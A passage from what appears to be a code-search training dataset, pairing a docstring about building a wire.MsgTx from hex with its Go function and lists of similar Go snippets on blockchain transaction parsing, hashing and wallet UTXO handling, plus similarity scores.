cache.GetTxCache()\n\tif r, exist := txCache.Get(key); exist {\n\t\treturn r.(*proto.QueryUtxoTransactionReply), nil\n\t}\n\n\ttxhash, err := chainhash.NewHashFromStr(req.TxHash)\n\tif err != nil {\n\t\treturn &proto.QueryUtxoTransactionReply{\n\t\t\tCode: proto.ReturnCode_ERROR,\n\t\t\tMsg: err.Error(),\n\t\t}, err\n\t}\n\treply, err := a.queryTransaction(txhash)\n\tif err == nil && reply.TxStatus == proto.TxStatus_Success {\n\t\ttxCache.Add(key, reply)\n\t}\n\n\treturn reply, err\n}", "func (*SMOUplinkUnitdata) Descriptor() ([]byte, []int) {\n\treturn file_lte_protos_sms_orc8r_proto_rawDescGZIP(), []int{1}\n}", "func (o *BakedLightmapData) GetOctree() gdnative.PoolByteArray {\n\t//log.Println(\"Calling BakedLightmapData.GetOctree()\")\n\n\t// Build out the method's arguments\n\tptrArguments := make([]gdnative.Pointer, 0, 0)\n\n\t// Get the method bind\n\tmethodBind := gdnative.NewMethodBind(\"BakedLightmapData\", \"get_octree\")\n\n\t// Call the parent method.\n\t// PoolByteArray\n\tretPtr := gdnative.NewEmptyPoolByteArray()\n\tgdnative.MethodBindPtrCall(methodBind, o.GetBaseObject(), ptrArguments, retPtr)\n\n\t// If we have a return type, convert it from a pointer into its actual object.\n\tret := gdnative.NewPoolByteArrayFromPointer(retPtr)\n\treturn ret\n}", "func OwnerOf(trx storage.Transaction, txId merkle.Digest) (uint64, *account.Account) {\n\tvar blockNumber uint64\n\tvar packed []byte\n\n\tif nil == trx {\n\t\tblockNumber, packed = storage.Pool.Transactions.GetNB(txId[:])\n\t} else {\n\t\tblockNumber, packed = trx.GetNB(storage.Pool.Transactions, txId[:])\n\t}\n\n\tif nil == packed {\n\t\treturn 0, nil\n\t}\n\n\ttransaction, _, err := transactionrecord.Packed(packed).Unpack(mode.IsTesting())\n\tlogger.PanicIfError(\"ownership.OwnerOf\", err)\n\n\tswitch tx := transaction.(type) {\n\tcase *transactionrecord.BitmarkIssue:\n\t\treturn blockNumber, tx.Owner\n\n\tcase *transactionrecord.BitmarkTransferUnratified:\n\t\treturn blockNumber, tx.Owner\n\n\tcase *transactionrecord.BitmarkTransferCountersigned:\n\t\treturn blockNumber, tx.Owner\n\n\tcase *transactionrecord.BlockFoundation:\n\t\treturn blockNumber, tx.Owner\n\n\tcase *transactionrecord.BlockOwnerTransfer:\n\t\treturn blockNumber, tx.Owner\n\n\tdefault:\n\t\tlogger.Panicf(\"block.OwnerOf: incorrect transaction: %v\", transaction)\n\t\treturn 0, nil\n\t}\n}", "func GetOldUTXOs(cfg *setting.Setting, seed gadk.Trytes) (int64, error) {\n\tapis := getOldAPIs(oldServers)\n\tvar err error\n\tvar adrs []gadk.Address\n\tfor _, api := range apis {\n\t\t_, adrs, err = gadk.GetUsedAddress(api, seed, 2)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn 0, err\n\t}\n\tvar utxos gadk.Balances\n\tfor _, api := range apis {\n\t\tutxos, err = api.Balances(adrs)\n\t\tif err == nil {\n\t\t\tbreak\n\t\t}\n\t}\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn 0, err\n\t}\n\tvar bal int64\n\tfor _, u := range utxos {\n\t\tbal += u.Value\n\t}\n\treturn bal, nil\n}", "func NewUOW(db *bolt.DB) uow.StartUnitOfWork {\n\treturn func(ctx context.Context, t uow.Type, uowFn uow.UnitOfWorkFn, repos ...interface{}) (err error) {\n\t\tuw := newUnitOfWork(t)\n\n\t\tif ctxUOW, ok := ctx.Value(uowKey).(*unitOfWork); ok {\n\t\t\tfor _, r := range repos {\n\t\t\t\tif err = ctxUOW.add(r); err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"could not add repository: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tctx = context.WithValue(ctx, uowKey, ctxUOW)\n\t\t\treturn uowFn(ctx, ctxUOW)\n\t\t}\n\t\tctx = context.WithValue(ctx, uowKey, uw)\n\n\t\terr = uw.begin(db)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not initialize TX: %s\", err)\n\t\t}\n\n\t\tdefer func() {\n\t\t\trerr := uw.rollback()\n\t\t\tif rerr != nil && rerr != bolt.ErrTxClosed {\n\t\t\t\terr = fmt.Errorf(\"failed to rollback TX: %s\", rerr)\n\t\t\t}\n\t\t\treturn\n\t\t}()\n\n\t\tfor _, r := range repos {\n\t\t\tif err = uw.add(r); err != nil {\n\t\t\t\treturn fmt.Errorf(\"could not add repository: %s\", err)\n\t\t\t}\n\t\t}\n\n\t\tdefer func() {\n\t\t\t// Only commit if no error found\n\t\t\tif err == nil {\n\t\t\t\tcerr := uw.commit()\n\t\t\t\tif cerr != nil {\n\t\t\t\t\terr = fmt.Errorf(\"failed to commit TX: %s\", cerr)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t}()\n\n\t\treturn uowFn(ctx, uw)\n\t}\n}", "func (cr CURetriever) GetCUWithHeight(addr sdk.CUAddress) (exported.CustodianUnit, int64, error) {\n\tbs, err := ModuleCdc.MarshalJSON(NewQueryCUParams(addr))\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\n\tres, height, err := cr.querier.QueryWithData(fmt.Sprintf(\"custom/%s/%s\", QuerierRoute, QueryCU), bs)\n\tif err != nil {\n\t\treturn nil, height, err\n\t}\n\n\tvar CU exported.CustodianUnit\n\tif err := ModuleCdc.UnmarshalJSON(res, &CU); err != nil {\n\t\treturn nil, height, err\n\t}\n\n\treturn CU, height, nil\n}", "func (rt *recvTxOut) Block() *BlockDetails {\n\treturn rt.block\n}", "func (dcr *ExchangeWallet) spendableUTXOs() ([]*compositeUTXO, error) {\n\tunspents, err := dcr.wallet.Unspents(dcr.ctx, dcr.primaryAcct)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif dcr.tradingAccount != \"\" {\n\t\t// Trading account may contain spendable utxos such as unspent split tx\n\t\t// outputs that are unlocked/returned. TODO: Care should probably be\n\t\t// taken to ensure only unspent split tx outputs are selected and other\n\t\t// unmixed outputs in the trading account are ignored.\n\t\ttradingAcctSpendables, err := dcr.wallet.Unspents(dcr.ctx, dcr.tradingAccount)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tunspents = append(unspents, tradingAcctSpendables...)\n\t}\n\tif len(unspents) == 0 {\n\t\treturn nil, fmt.Errorf(\"insufficient funds. 0 DCR available to spend in account %q\", dcr.primaryAcct)\n\t}\n\n\t// Parse utxos to include script size for spending input. Returned utxos\n\t// will be sorted in ascending order by amount (smallest first).\n\tutxos, err := dcr.parseUTXOs(unspents)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error parsing unspent outputs: %w\", err)\n\t}\n\tif len(utxos) == 0 {\n\t\treturn nil, fmt.Errorf(\"no funds available\")\n\t}\n\treturn utxos, nil\n}" ]
[ "0.66983944", "0.6249604", "0.6107751", "0.5934837", "0.5719519", "0.5654994", "0.5438669", "0.5363453", "0.53402656", "0.5261809", "0.52601206", "0.5210465", "0.51998585", "0.516098", "0.5116228", "0.5115651", "0.5105289", "0.50466335", "0.50234085", "0.5023179", "0.5023124", "0.5013336", "0.50071764", "0.49965996", "0.4984074", "0.4978021", "0.49748203", "0.49518016", "0.49426815", "0.49409133", "0.49377668", "0.489462", "0.4892426", "0.48884487", "0.484235", "0.48282906", "0.48099676", "0.48094854", "0.4809255", "0.48070872", "0.4786099", "0.47851574", "0.47812027", "0.4767972", "0.47679043", "0.47671366", "0.4752167", "0.47513676", "0.47482142", "0.47381073", "0.47267967", "0.4708089", "0.468953", "0.46890235", "0.4688189", "0.46697935", "0.46608385", "0.46491152", "0.4645634", "0.4644648", "0.46404234", "0.46277332", "0.4613242", "0.46038795", "0.46022215", "0.46003675", "0.459872", "0.4596767", "0.45851696", "0.45798272", "0.45726246", "0.45696598", "0.45679265", "0.45486453", "0.45481426", "0.453962", "0.45320278", "0.45317012", "0.45256022", "0.4525252", "0.4523779", "0.45174605", "0.4507767", "0.4491894", "0.4490024", "0.44900024", "0.44855508", "0.44802237", "0.44734275", "0.44719735", "0.4464651", "0.44609174", "0.4456927", "0.44554004", "0.44545478", "0.44538903", "0.44500244", "0.4446565", "0.44397494", "0.4438856" ]
0.55830336
6
MsgTxFromHex creates a wire.MsgTx by deserializing the hex transaction.
func msgTxFromHex(txhex string) (*wire.MsgTx, error) { msgTx := wire.NewMsgTx() if err := msgTx.Deserialize(hex.NewDecoder(strings.NewReader(txhex))); err != nil { return nil, err } return msgTx, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func msgTxFromHex(txHex string) (*wire.MsgTx, error) {\n\tmsgTx := wire.NewMsgTx()\n\tif err := msgTx.Deserialize(hex.NewDecoder(strings.NewReader(txHex))); err != nil {\n\t\treturn nil, err\n\t}\n\treturn msgTx, nil\n}", "func msgTxFromHex(txHex string) (*wire.MsgTx, error) {\n\tmsgTx := wire.NewMsgTx()\n\tif err := msgTx.Deserialize(hex.NewDecoder(strings.NewReader(txHex))); err != nil {\n\t\treturn nil, err\n\t}\n\treturn msgTx, nil\n}", "func TxFromHex(rawHex string) (*bt.Tx, error) {\n\treturn bt.NewTxFromString(rawHex)\n}", "func TransactionFromHex(h string) (*transaction, int) {\n\ts, _ := hex.DecodeString(h)\n\treturn TransactionFromBytes(s)\n}", "func msgTxFromBytes(txB []byte) (*wire.MsgTx, error) {\n\tmsgTx := wire.NewMsgTx()\n\tif err := msgTx.Deserialize(bytes.NewReader(txB)); err != nil {\n\t\treturn nil, err\n\t}\n\treturn msgTx, nil\n}", "func NewTxRecordFromMsgTx(msgTx *wire.MsgTx, received time.Time) (*TxRecord, error) {\n\tbuf := bytes.NewBuffer(make([]byte, 0, msgTx.SerializeSize()))\n\terr := msgTx.Serialize(buf)\n\tif err != nil {\n\t\tstr := \"failed to serialize transaction\"\n\t\treturn nil, storeError(ErrInput, str, err)\n\t}\n\trec := &TxRecord{\n\t\tMsgTx: *msgTx,\n\t\tReceived: received,\n\t\tSerializedTx: buf.Bytes(),\n\t\tHash: msgTx.TxHash(),\n\t}\n\n\treturn rec, nil\n}", "func NewTxRecordFromMsgTx(msgTx *wire.MsgTx, received time.Time) (*TxRecord, er.R) {\n\tbuf := bytes.NewBuffer(make([]byte, 0, msgTx.SerializeSize()))\n\terr := msgTx.Serialize(buf)\n\tif err != nil {\n\t\tstr := \"failed to serialize transaction\"\n\t\treturn nil, storeError(ErrInput, str, err)\n\t}\n\trec := &TxRecord{\n\t\tMsgTx: *msgTx,\n\t\tReceived: received,\n\t\tSerializedTx: buf.Bytes(),\n\t\tHash: msgTx.TxHash(),\n\t}\n\n\treturn rec, nil\n}", "func NewMsgTx(version uint32) *MsgTx {\n\treturn &MsgTx{\n\t\tVersion: version,\n\t\tTxIn: make([]*TxIn, 0, defaultTxInOutAlloc),\n\t\tTxOut: make([]*TxOut, 0, defaultTxInOutAlloc),\n\t}\n}", "func NewMsgTx(version int32, shard shard.Index) *wire.MsgTx {\n\treturn &wire.MsgTx{\n\t\tShard: shard,\n\t\tVersion: version,\n\t\tTxIn: []*wire.TxIn{},\n\t\tContractAddress: isysapi.SysAPIAddress,\n\t\tAPI: \"deploy\",\n\t\tParams: []byte{},\n\t\tSignatureScript: []byte{},\n\t}\n}", "func FromHex(in string) (*Buffer, error) {\n\tdecoded, err := hex.DecodeString(in)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode hex: %v\", err)\n\t}\n\treturn &Buffer{b: decoded}, nil\n}", "func ParseTxBytes(b []byte) (*Message, error) {\n\tif len(b) != txnPacketBytes {\n\t\treturn nil, errMessageTooShort\n\t}\n\n\tt := make([]int8, trinary.LenTrits(len(b)))\n\t_, err := trinary.Trits(t, b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tm := new(Message)\n\tm.TxBytes = b\n\tm.TxTrits = t\n\tm.Address = chunk(t, addressTrinaryOffset, addressTrinarySize)\n\tm.Trunk = chunk(t, trunkTransactionTrinaryOffset, trunkTransactionTrinarySize)\n\tm.Branch = chunk(t, branchTransactionTrinaryOffset, branchTransactionTrinarySize)\n\tm.Bundle = chunk(t, bundleTrinaryOffset, bundleTrinarySize)\n\tm.Tag = chunk(t, tagTrinaryOffset, tagTrinarySize)\n\tm.ObsoleteTag = chunk(t, obsoleteTagTrinaryOffset, obsoleteTagTrinarySize)\n\tm.Nonce = chunk(t, nonceTrinaryOffset, nonceTrinarySize)\n\tm.ValueTrailer = chunk(t, valueTrinaryOffset+valueUsableTrinarySize, valueTrinarySize-valueUsableTrinarySize)\n\tm.AttachmentTs = chunkInt64(t, attachmentTimestampTrinaryOffset, attachmentTimestampTrinarySize)\n\tm.AttachmentTsUpper = chunkInt64(t, attachmentTimestampUpperBoundTrinaryOffset, attachmentTimestampUpperBoundTrinarySize)\n\tm.AttachmentTsLower = chunkInt64(t, attachmentTimestampLowerBoundTrinaryOffset, attachmentTimestampLowerBoundTrinarySize)\n\tm.Value = chunkInt64(t, valueTrinaryOffset, valueUsableTrinarySize)\n\tm.Ts = chunkInt64(t, timestampTrinaryOffset, timestampTrinarySize)\n\tm.CurrentIndex = chunkInt64(t, currentIndexTrinaryOffset, currentIndexTrinarySize)\n\tm.LastIndex = chunkInt64(t, lastIndexTrinaryOffset, lastIndexTrinarySize)\n\n\treturn m, nil\n}", "func TransactionFromBytes(b []byte) (*transaction, int) {\n\tpos := 0\n\n\t// extract the version\n\tversion := binary.LittleEndian.Uint32(b[0:4])\n\tpos += 4\n\n\t// Get the number of inputs\n\tnumberOfInputs, size := cryptolib.DecodeVarInt(b[pos:])\n\tpos += size\n\n\tvar inputs []input\n\n\tfor i := uint64(0); i < numberOfInputs; i++ {\n\t\tinput, size := inputFromBytes(b[pos:])\n\t\tpos += size\n\n\t\tinputs = append(inputs, *input)\n\t}\n\n\t// Get the number of outputs\n\tnumberOfOutputs, size := cryptolib.DecodeVarInt(b[pos:])\n\tpos += size\n\n\tvar outputs []output\n\n\tfor i := uint64(0); i < numberOfOutputs; i++ {\n\t\toutput, size := outputFromBytes(b[pos:])\n\t\tpos += size\n\n\t\toutputs = append(outputs, *output)\n\t}\n\n\tlocktime := binary.LittleEndian.Uint32(b[pos : pos+4])\n\tpos += 4\n\n\thash := cryptolib.Sha256d(b[0:pos])\n\n\treturn &transaction{\n\t\tHash: hex.EncodeToString(cryptolib.ReverseBytes(hash)),\n\t\tVersion: int32(version),\n\t\tInputs: inputs,\n\t\tOutputs: outputs,\n\t\tLockTime: locktime,\n\t}, pos\n}", "func NewTxFromBytes(b []byte) Tx {\n\tarrFrom := common.Address{}\n\tcopy(arrFrom[:], b[0:20])\n\n\tarrTo := common.Address{}\n\tcopy(arrTo[:], b[20:40])\n\n\tamount := binary.LittleEndian.Uint64(b[40:48])\n\n\thash := common.Hash{}\n\tcopy(hash[:], b[48:80])\n\n\tarrSignature := [crypto.SignatureLength]byte{}\n\tcopy(arrSignature[:], b[80:80+crypto.SignatureLength])\n\n\ttimestamp := binary.LittleEndian.Uint64(b[80+crypto.SignatureLength : 80+crypto.SignatureLength+8])\n\tnonce := binary.LittleEndian.Uint64(b[80+crypto.SignatureLength+8 : 80+crypto.SignatureLength+8+8])\n\n\treturn Tx{\n\t\tarrFrom,\n\t\tarrTo,\n\t\tamount,\n\t\thash,\n\t\tarrSignature,\n\t\ttimestamp,\n\t\tnonce,\n\t}\n}", "func txHexString(tx *wire.MsgTx) string {\n\tbuf := bytes.NewBuffer(make([]byte, 0, tx.SerializeSize()))\n\t// Ignore Serialize's error, as writing to a bytes.buffer cannot fail.\n\ttx.Serialize(buf)\n\treturn hex.EncodeToString(buf.Bytes())\n}", "func decodeTransaction(rawTx string) (*wire.MsgTx, error) {\n\theaderBytes, err := hex.DecodeString(rawTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode a hex string: [%w]\", err)\n\t}\n\n\tbuf := bytes.NewBuffer(headerBytes)\n\n\tvar t wire.MsgTx\n\tif err := t.Deserialize(buf); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deserialize a transaction: [%w]\", err)\n\t}\n\n\treturn &t, nil\n}", "func FromHex(s string) []byte {\n\tif len(s) > 1 {\n\t\tif s[0:2] == \"0x\" || s[0:2] == \"0X\" {\n\t\t\ts = s[2:]\n\t\t}\n\t}\n\tif len(s)%2 == 1 {\n\t\ts = \"0\" + s\n\t}\n\treturn Hex2Bytes(s)\n}", "func FromHex(s string) []byte {\n\tif len(s) > 1 {\n\t\tif s[0:2] == \"0x\" || s[0:2] == \"0X\" {\n\t\t\ts = s[2:]\n\t\t}\n\t}\n\tif len(s)%2 == 1 {\n\t\ts = \"0\" + s\n\t}\n\treturn Hex2Bytes(s)\n}", "func FromHex(s string) []byte {\n\tif len(s) > 1 {\n\t\tif s[0:2] == \"0x\" || s[0:2] == \"0X\" {\n\t\t\ts = s[2:]\n\t\t}\n\t}\n\tif len(s)%2 == 1 {\n\t\ts = \"0\" + s\n\t}\n\treturn Hex2Bytes(s)\n}", "func FromHex(s string) string {\n\n\tstr, err := hex.DecodeString(s)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn string(str)\n}", "func NewTxMessage(msg *Message, qn string) *TxMessage {\n\treturn &TxMessage{\n\t\tMsg: msg,\n\t\tQueueName: qn,\n\t}\n}", "func (c *Corpus) gitHashFromHex(s []byte) GitHash {\n\tif len(s) != 40 {\n\t\tpanic(fmt.Sprintf(\"bogus git hash %q\", s))\n\t}\n\tvar buf [20]byte\n\t_, err := hex.Decode(buf[:], s)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"bogus git hash %q: %v\", s, err))\n\t}\n\treturn GitHash(c.strb(buf[:20]))\n}", "func RunFromHex(hexaddr string) [6]string {\n\n\tvar bech32Prefixes = []string{\n\n\t\t// account's address\n\t\tt.Bech32MainPrefix,\n\t\t// account's public key\n\t\tt.Bech32MainPrefix + t.PrefixPublic,\n\t\t// validator's operator address\n\t\tt.Bech32MainPrefix + t.PrefixValidator + t.PrefixOperator,\n\t\t// validator's operator public key\n\t\tt.Bech32MainPrefix + t.PrefixValidator + t.PrefixOperator + t.PrefixPublic,\n\t\t// consensus node address\n\t\tt.Bech32MainPrefix + t.PrefixValidator + t.PrefixConsensus,\n\t\t// consensus node public key\n\t\tt.Bech32MainPrefix + t.PrefixValidator + t.PrefixConsensus + t.PrefixPublic,\n\t}\n\n\t// keys[0]: account's address\n\t// keys[1]: account's public key\n\t// keys[2]: validator's operator address\n\t// keys[3]: validator's operator public key\n\t// keys[4]: consensus node address\n\t// keys[5]: consensus node public key -> No tendermint show-validator\n\tvar keys [6]string\n\n\tbz, _ := hex.DecodeString(hexaddr)\n\n\tfor i, prefix := range bech32Prefixes {\n\t\tbech32Addr, err := bech32.ConvertAndEncode(prefix, bz)\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tkeys[i] = bech32Addr\n\t}\n\n\treturn keys\n}", "func NewTransactionFromBytes(b []byte) (*Transaction, error) {\n\ttx := &Transaction{}\n\tr := io.NewBinReaderFromBuf(b)\n\ttx.decodeBinaryNoSize(r, b)\n\tif r.Err != nil {\n\t\treturn nil, r.Err\n\t}\n\tif r.Len() != 0 {\n\t\treturn nil, errors.New(\"additional data after the transaction\")\n\t}\n\ttx.size = len(b)\n\treturn tx, nil\n}", "func NewSeedFromHex(input []byte) (Seed, error) {\n\tseed := make([]byte, hex.DecodedLen(len(input)))\n\t_, err := hex.Decode(seed, input)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn seed, nil\n}", "func (msg *MsgTx) Deserialize(r io.Reader) error {\n\t// At the current time, there is no difference between the protos encoding\n\t// at protocol version 0 and the stable long-term storage format. As\n\t// a result, make use of VVSDecode.\n\treturn msg.VVSDecode(r, 0, BaseEncoding)\n}", "func (k *PublicKey) SetFromHex(hex string) error {\n\tnk, err := NewPublicKeyFromHex(hex)\n\tif err != nil {\n\t\treturn err\n\t}\n\tk.Set(nk)\n\treturn nil\n}", "func FromProto(msg proto.Message) (Transaction, error) {\n\ttx := msg.(*ledger.TransactionInput)\n\n\tvar da ptypes.DynamicAny\n\terr := ptypes.UnmarshalAny(tx.GetBody(), &da)\n\tif err != nil {\n\t\treturn Transaction{}, err\n\t}\n\n\treturn Transaction{\n\t\tContractID: executor.ContractID(tx.ContractID),\n\t\tAction: executor.Action(tx.Action),\n\t\tArg: da.Message,\n\t}, nil\n}", "func Serialize(msgTx *wire.MsgTx) ([]byte, error) {\n\tvar buffer bytes.Buffer\n\n\terr := msgTx.Serialize(&buffer)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot serialize transaction [%s]\", err)\n\t}\n\n\treturn buffer.Bytes(), nil\n}", "func NewTransactionMessage(tx *types.Tx) (*TransactionMessage, error) {\n\trawTx, err := tx.TxData.MarshalText()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TransactionMessage{RawTx: rawTx}, nil\n}", "func convertTx(ethTx *ethtypes.Transaction) *types.Transaction {\n\ttx := &types.Transaction{}\n\ttx.ContractCreation = ethTx.CreatesContract()\n\ttx.Gas = ethTx.Gas.String()\n\ttx.GasCost = ethTx.GasPrice.String()\n\ttx.Hash = hex.EncodeToString(ethTx.Hash())\n\ttx.Nonce = fmt.Sprintf(\"%d\", ethTx.Nonce)\n\ttx.Recipient = hex.EncodeToString(ethTx.Recipient)\n\ttx.Sender = hex.EncodeToString(ethTx.Sender())\n\ttx.Value = ethTx.Value.String()\n\treturn tx\n}", "func (tx *Tx) Hex() string {\n\treturn hex.EncodeToString(tx.Bytes())\n}", "func (msg *MsgTx) TxHash() common.Hash {\n\t// Encode the transaction and calculate double sha256 on the result.\n\t// Ignore the error returns since the only way the encode could fail\n\t// is being out of memory or due to nil pointers, both of which would\n\t// cause a run-time panic.\n\tbuf := bytes.NewBuffer(make([]byte, 0, msg.SerializeSize()))\n\t_ = msg.Serialize(buf)\n\treturn common.DoubleHashH(buf.Bytes())\n}", "func NewTxRecord(serializedTx []byte, received time.Time) (*TxRecord, error) {\n\trec := &TxRecord{\n\t\tReceived: received,\n\t\tSerializedTx: serializedTx,\n\t}\n\terr := rec.MsgTx.Deserialize(bytes.NewReader(serializedTx))\n\tif err != nil {\n\t\tstr := \"failed to deserialize transaction\"\n\t\treturn nil, storeError(ErrInput, str, err)\n\t}\n\tcopy(rec.Hash[:], chainhash.DoubleHashB(serializedTx))\n\treturn rec, nil\n}", "func NewTxRecord(serializedTx []byte, received time.Time) (*TxRecord, er.R) {\n\trec := &TxRecord{\n\t\tReceived: received,\n\t\tSerializedTx: serializedTx,\n\t}\n\terr := rec.MsgTx.Deserialize(bytes.NewReader(serializedTx))\n\tif err != nil {\n\t\tstr := \"failed to deserialize transaction\"\n\t\treturn nil, storeError(ErrInput, str, err)\n\t}\n\tcopy(rec.Hash[:], chainhash.DoubleHashB(serializedTx))\n\treturn rec, nil\n}", "func (pgb *ChainDBRPC) GetTransactionHex(txid string) string {\n\ttxraw, err := rpcutils.GetTransactionVerboseByID(pgb.Client, txid)\n\n\tif err != nil {\n\t\tlog.Errorf(\"GetRawTransactionVerbose failed for: %v\", err)\n\t\treturn \"\"\n\t}\n\n\treturn txraw.Hex\n}", "func (msg *MsgTx) TxSha() (ShaHash, error) {\n\t//util.Trace()\n\n\tif !disableSpew {\n\t\tfmt.Println(\"TxSha spew: \", spew.Sdump(*msg))\n\t}\n\n\t// Encode the transaction and calculate double sha256 on the result.\n\t// Ignore the error returns since the only way the encode could fail\n\t// is being out of memory or due to nil pointers, both of which would\n\t// cause a run-time panic. Also, SetBytes can't fail here due to the\n\t// fact DoubleSha256 always returns a []byte of the right size\n\t// regardless of input.\n\tbuf := bytes.NewBuffer(make([]byte, 0, msg.SerializeSize()))\n\t_ = msg.Serialize(buf)\n\tvar sha ShaHash\n\t_ = sha.SetBytes(DoubleSha256(buf.Bytes()))\n\n\t// Even though this function can't currently fail, it still returns\n\t// a potential error to help future proof the API should a failure\n\t// become possible.\n\n\t//util.Trace(sha.String())\n\n\treturn sha, nil\n}", "func DecodeTx(raw []byte) (*SignedTransaction, error) {\n\tvar tx SignedTransaction\n\terr := proto.Unmarshal(raw, &tx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &tx, nil\n}", "func ExtEthCompatAddressFromHex(str string) (ExtEthCompatAddress, error) {\n\tif strings.HasPrefix(str, \"0x\") {\n\t\tstr = str[2:]\n\t}\n\th, err := hex.DecodeString(str)\n\tif err != nil {\n\t\treturn ExtEthCompatAddress{}, err\n\t}\n\tif len(h) != 20 {\n\t\treturn ExtEthCompatAddress{}, fmt.Errorf(\"expected %v bytes, got %v byte\", 20, len(h))\n\t}\n\textEthCompatAddress := [20]byte{}\n\tcopy(extEthCompatAddress[:], h)\n\treturn ExtEthCompatAddress(extEthCompatAddress), nil\n}", "func NewAddressFromHex(str string) (*Address, error) {\n\tif len(str) != 42 || str[:2] != \"0x\" {\n\t\treturn nil, errors.New(\"Address must be chars 40 hex strings prefixed with 0x\")\n\t}\n\tbytes, err := hex.DecodeString(str[2:])\n\tif err != nil {\n\t\treturn nil, errors.WithMessage(err, \"parsing address as hexadecimal\")\n\t}\n\tvar a common.Address\n\tcopy(a[:], bytes)\n\treturn &Address{wallet.Address(a)}, nil\n}", "func TransactionFromPB(t *pb.Transaction) (Transaction, error) {\n\tvar (\n\t\tid uuid.UUID\n\t\terr error\n\t)\n\n\tif t.Id == \"\" {\n\t\tid = uuid.Nil\n\t} else {\n\t\tid, err = uuid.FromString(t.Id)\n\t\tif err != nil {\n\t\t\treturn Transaction{}, err\n\t\t}\n\t}\n\n\tdate, err := time.Parse(\"2006-01-02\", t.Date)\n\tif err != nil {\n\t\treturn Transaction{}, err\n\t}\n\n\tpostings, err := PostingsFromPB(&pb.Postings{\n\t\tData: t.Postings,\n\t})\n\tif err != nil {\n\t\treturn Transaction{}, err\n\t}\n\n\ttransaction := Transaction{}\n\ttransaction.ID = id\n\ttransaction.Date = date\n\ttransaction.Entity = t.Entity\n\ttransaction.Reference = t.Reference\n\ttransaction.Hash = t.Hash\n\ttransaction.Postings = postings\n\n\treturn transaction, nil\n}", "func (c *client) PostTx(hexTx []byte, param map[string]string) ([]TxCommitResult, error) {\n\tif len(hexTx) == 0 {\n\t\treturn nil, fmt.Errorf(\"Invalid tx %s\", hexTx)\n\t}\n\n\tbody := hexTx\n\tresp, err := c.Post(\"/broadcast\", body, param)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttxResult := make([]TxCommitResult, 0)\n\tif err := json.Unmarshal(resp, &txResult); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn txResult, nil\n}", "func TraceIDFromHex(h string) (TraceID, error) {\n\tt := TraceID{}\n\tif len(h) != 32 {\n\t\treturn t, errors.New(\"hex encoded trace-id must have length equals to 32\")\n\t}\n\n\tfor _, r := range h {\n\t\tswitch {\n\t\tcase 'a' <= r && r <= 'f':\n\t\t\tcontinue\n\t\tcase '0' <= r && r <= '9':\n\t\t\tcontinue\n\t\tdefault:\n\t\t\treturn t, errors.New(\"trace-id can only contain [0-9a-f] characters, all lowercase\")\n\t\t}\n\t}\n\n\tb, err := hex.DecodeString(h)\n\tif err != nil {\n\t\treturn t, err\n\t}\n\tcopy(t[:], b)\n\n\tif !t.isValid() {\n\t\treturn t, errors.New(\"trace-id can't be all zero\")\n\t}\n\treturn t, nil\n}", "func (t *Transaction) FromRaw(input string) error {\n\t// Code was originally heavily inspired by ethers.js v4 utils.transaction.parse:\n\t// https://github.com/ethers-io/ethers.js/blob/v4-legacy/utils/transaction.js#L90\n\t// Copyright (c) 2017 Richard Moore\n\t//\n\t// However it's since been somewhat extensively rewritten to support EIP-2718 and -2930\n\n\tvar (\n\t\tchainId Quantity\n\t\tnonce Quantity\n\t\tgasPrice Quantity\n\t\tgasLimit Quantity\n\t\tmaxPriorityFeePerGas Quantity\n\t\tmaxFeePerGas Quantity\n\t\tto *Address\n\t\tvalue Quantity\n\t\tdata Data\n\t\tv Quantity\n\t\tr Quantity\n\t\ts Quantity\n\t\taccessList AccessList\n\t)\n\n\tif !strings.HasPrefix(input, \"0x\") {\n\t\treturn errors.New(\"input must start with 0x\")\n\t}\n\n\tif len(input) < 4 {\n\t\treturn errors.New(\"not enough input to decode\")\n\t}\n\n\tvar firstByte byte\n\tif prefix, err := NewData(input[:4]); err != nil {\n\t\treturn errors.Wrap(err, \"could not inspect transaction prefix\")\n\t} else {\n\t\tfirstByte = prefix.Bytes()[0]\n\t}\n\n\tswitch {\n\tcase firstByte == byte(TransactionTypeAccessList):\n\t\t// EIP-2930 transaction\n\t\tpayload := \"0x\" + input[4:]\n\t\tif err := rlpDecodeList(payload, &chainId, &nonce, &gasPrice, &gasLimit, &to, &value, &data, &accessList, &v, &r, &s); err != nil {\n\t\t\treturn errors.Wrap(err, \"could not decode RLP components\")\n\t\t}\n\n\t\tif r.Int64() == 0 && s.Int64() == 0 {\n\t\t\treturn errors.New(\"unsigned transactions not supported\")\n\t\t}\n\n\t\tt.Type = OptionalQuantityFromInt(int(firstByte))\n\t\tt.Nonce = nonce\n\t\tt.GasPrice = &gasPrice\n\t\tt.Gas = gasLimit\n\t\tt.To = to\n\t\tt.Value = value\n\t\tt.Input = data\n\t\tt.AccessList = &accessList\n\t\tt.V = v\n\t\tt.R = r\n\t\tt.S = s\n\t\tt.ChainId = &chainId\n\n\t\tsigningHash, err := t.SigningHash(chainId)\n\t\tif err != nil {\n\t\t\treturn 